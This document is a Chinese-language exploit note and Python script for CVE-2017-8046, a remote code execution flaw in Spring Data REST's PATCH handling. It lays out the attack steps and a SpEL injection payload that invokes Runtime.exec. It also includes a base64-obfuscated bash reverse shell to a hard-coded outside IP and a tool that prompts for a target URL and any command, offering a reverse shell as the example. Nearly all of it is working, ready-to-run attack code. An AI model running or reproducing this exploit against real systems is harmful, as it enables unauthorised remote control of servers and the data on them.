CVE-2017-8046 springboot中PATCH方法rce

漏洞原理分析

https://zhuanlan.zhihu.com/p/166373950

打法

'''
首先访问/api/people POST提交JSON数据{"firstName":"w3","lastName":"lkin"}来创建一个用户
接着访问返回地址改为PATCH请求   content-type改为application/json-patch+json
exp
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{生成的数字}))/lastname", "value": "whatever" }]
'''
payload = b'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjE3Ni4zOS80NDQ0NCAwPiYx}|{base64,-d}|{bash,-i}'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)

exp

import urllib.parse
import requests
import re
import base64

print('''
             ████   ██ ██     ██         
            █░░░ █ ░██░██    ░░          
 ███     ██░    ░█ ░██░██  ██ ██ ███████ 
░░██  █ ░██   ███  ░██░██ ██ ░██░░██░░░██
 ░██ ███░██  ░░░ █ ░██░████  ░██ ░██  ░██
 ░████░████ █   ░█ ░██░██░██ ░██ ░██  ░██
 ███░ ░░░██░ ████  ███░██░░██░██ ███  ░██
░░░    ░░░  ░░░░  ░░░ ░░  ░░ ░░ ░░░   ░░      2023.4.11

''')
url = input("请输入URL:")

parsed_url = urllib.parse.urlparse(url)
protocol = parsed_url.scheme
host = parsed_url.hostname
path = parsed_url.path
query_params = urllib.parse.parse_qs(parsed_url.query)
host=f"{protocol}://{host}"
exp1=host+"/api/people"
data1='{"firstName":"w3","lastName":"lkin"}'
resp1=requests.post(url=exp1,data=data1)
match1 = re.search(r'"href" : "(?P<mes>.*?)"', resp1.text)

if match1:
    host1=match1.group("mes")
    headers={
        "content-type":"application/json-patch+json"
    }
    exps=input("请输入要执行的命令 如(bash -i >& /dev/tcp/1.1.1.1/44444 0>&1):")
    encoded_string = base64.b64encode(exps.encode("utf-8"))
    payload = b'bash -c {echo,%s}|{base64,-d}|{bash,-i}'%(encoded_string)
    bytecode = ','.join(str(i) for i in list(payload))
    exp2='[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{%s}))/lastname", "value": "whatever" }]'%(bytecode)
    resp=requests.patch(url=host1,headers=headers,data=exp2)
    print(resp.text)
else:
    print("没有匹配到结果！")